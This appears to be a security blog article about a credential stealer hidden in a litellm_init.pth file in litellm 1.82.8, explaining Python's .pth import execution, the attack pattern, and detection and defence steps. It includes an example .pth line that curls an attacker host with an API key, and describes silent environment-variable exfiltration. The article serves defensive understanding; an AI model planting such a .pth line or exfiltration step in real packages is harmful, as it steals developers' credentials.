· 6 min read ·

The .pth File Trick That Made litellm 1.82.8 a Credential Harvester

Source: simonwillison

A credential stealer was discovered in litellm version 1.82.8, hidden inside a file called litellm_init.pth. Most Python developers have never thought about .pth files as an attack surface. That is exactly what makes this technique effective.

What .pth Files Actually Do

Python’s site module, which runs automatically on interpreter startup, processes every .pth file it finds in site-packages. The intended purpose is path configuration: each line in a .pth file can specify an additional directory to append to sys.path, which is how many editable installs and namespace packages work under the hood.

The dangerous part is a lesser-known behavior that has existed in CPython for years. From the Python documentation:

If a filename found on a path configuration file starts with import, it is executed.

That sentence is doing a lot of work. It means a .pth file containing a line like:

import os; os.system('curl https://attacker.example/c?k=' + os.environ.get('OPENAI_API_KEY', ''))

will execute that code every time the Python interpreter starts in that environment, before your application runs a single line. No monkey-patching of library code required. No modification to __init__.py. Just a file with a deceptive name sitting quietly in site-packages.

The CPython source for this behavior lives in Lib/site.py in the addpackage() function. The check is simply whether a line stripped of whitespace starts with import:

if line.startswith("import "):
    exec(line)
    continue

This has been there since at least Python 2. It is not a bug, it is documented behavior, and that makes it harder to argue for removing it without breaking legitimate tooling that relies on it.

Why litellm Is a Particularly Valuable Target

If you were designing a credential harvester for the AI ecosystem in 2026, litellm would be near the top of your target list. The library is a universal LLM API proxy that abstracts over OpenAI, Anthropic, Google Gemini, Azure OpenAI, Cohere, AWS Bedrock, Mistral, and dozens of other providers under a single interface. Its whole value proposition is that you configure it once with all your provider credentials and stop thinking about vendor-specific clients.

In practice, that means a typical litellm deployment has API keys for multiple providers sitting in environment variables or a config file. A single compromised environment might yield an OpenAI key, an Anthropic key, an Azure subscription key, and a Google Cloud credential. Each of those has real monetary value, either for direct use or resale. LLM API abuse, where stolen keys are used to run inference at the victim’s expense, has become a meaningful fraud category.

Beyond individual developers, litellm is heavily used in enterprise AI infrastructure as the proxy layer behind internal LLM gateways. The credentials in those environments are often high-quota organizational keys, not the $20/month personal tier.

The Anatomy of a .pth Credential Stealer

The specific payload in litellm_init.pth from version 1.82.8 has not been fully disclosed in public reporting at time of writing, but the general pattern for this class of attack is consistent across known incidents:

  1. The .pth file contains an import line that either directly executes exfiltration code or imports a secondary module that does.
  2. The secondary module scans environment variables for known credential patterns: OPENAI_API_KEY, ANTHROPIC_API_KEY, AZURE_API_KEY, AWS credential variables, and similar.
  3. The credentials are exfiltrated over HTTPS to an attacker-controlled server, often using Python’s built-in urllib to avoid introducing a detectable network dependency.
  4. The code is designed to fail silently, so the application continues running normally and the victim has no indication anything happened.

The use of a .pth filename rather than modifying an existing .py file provides two advantages. First, many automated security scanners focus on Python source files and ignore path configuration files. Second, the name litellm_init.pth sounds plausible enough that a human auditor scanning site-packages might not flag it as suspicious.

This Is Not a New Technique

Python .pth file abuse has been documented in security research for several years. Luca Ferrari’s 2019 research on Python persistence mechanisms included .pth files alongside sitecustomize.py and usercustomize.py as startup injection points. The technique appears in red team tooling and is well known in offensive security circles.

What changes over time is the target. Early documented abuse focused on developer workstation persistence, credential theft from general-purpose Python environments. The rise of the AI/ML ecosystem created a new high-value target profile: data scientists and engineers who have accumulated credentials for cloud ML services, vector databases, LLM providers, and embedding APIs all sitting in .env files or shell profiles.

The PyPI supply chain attack surface has been growing in parallel. The Python Package Index has faced repeated campaigns of typosquatting, dependency confusion, and outright account compromise. The 2022 ctx and phpass hijackings demonstrated how a briefly compromised maintainer account on a popular package could reach millions of installs. The 2022 PyTorch nightly dependency confusion attack showed that even well-maintained projects from major organizations are not immune.

The litellm incident fits this pattern but has a more targeted character. Rather than broad credential theft, a compromised AI infrastructure library goes after the specific credentials that are most valuable to monetize in 2026.

Detection and Defense

The most direct detection method is auditing .pth files in your Python environments. On a Unix system:

find /usr /home -name '*.pth' 2>/dev/null | xargs grep -l '^import ' 2>/dev/null

In a virtual environment:

grep -r '^import ' .venv/lib/

Legitimate uses of the import line in .pth files exist but are uncommon; editable installs from pip install -e use a different mechanism now (__editable__ finder hooks via importlib). Any import line in a .pth file warrants inspection.

For CI pipelines and container builds, pinning dependencies by hash rather than version provides stronger guarantees than version pinning alone. pip install supports --require-hashes mode, and tools like pip-audit can check installed packages against known vulnerability databases. Neither of these would have caught a malicious file introduced into an otherwise legitimate version, but they reduce the overall attack surface.

Lockfiles help, but only if you also verify the contents of what you install rather than just its version number. pip freeze records versions; it does not record file hashes of the installed contents. For environments where supply chain integrity matters, consider using Sigstore attestations where packages provide them, or running installs in an isolated environment and diffing the resulting site-packages against a known-good baseline.

For litellm users specifically, the mitigation is straightforward: audit your installed version, do not use 1.82.8, and rotate any credentials that were present in environments running that version. Given how litellm is typically deployed with broad credential access, treat any exposure as a full rotation event rather than a partial one.

The Broader Problem

The Python packaging ecosystem has made real progress on supply chain security over the past few years. PyPI added support for trusted publishers and two-factor authentication requirements for critical packages. The Alpha-Omega project has funded security audits for high-impact packages. Sigstore adoption is growing.

None of that helps if an attacker compromises a maintainer account or finds a window during which they can publish a malicious version that gets pulled before anyone notices. The velocity of AI tooling development, where new versions are pushed daily and users update frequently to get the latest model support, creates exactly the window that supply chain attackers look for.

The .pth file mechanism specifically feels like it deserves more attention from the security tooling ecosystem. Static analysis tools for Python packages, including those run by PyPI itself, should flag any .pth file containing import lines as requiring manual review. The signal-to-noise ratio would be low; almost all such files are malicious or at minimum unusual. It is a cheap check that would have caught this incident.

For now, the practical takeaway is that site-packages is not a passive storage location for library code. It is an active execution environment that runs code at interpreter startup, and any file in it with the right content runs with your application’s full permissions and access to its environment. Treat it accordingly.

Was this interesting?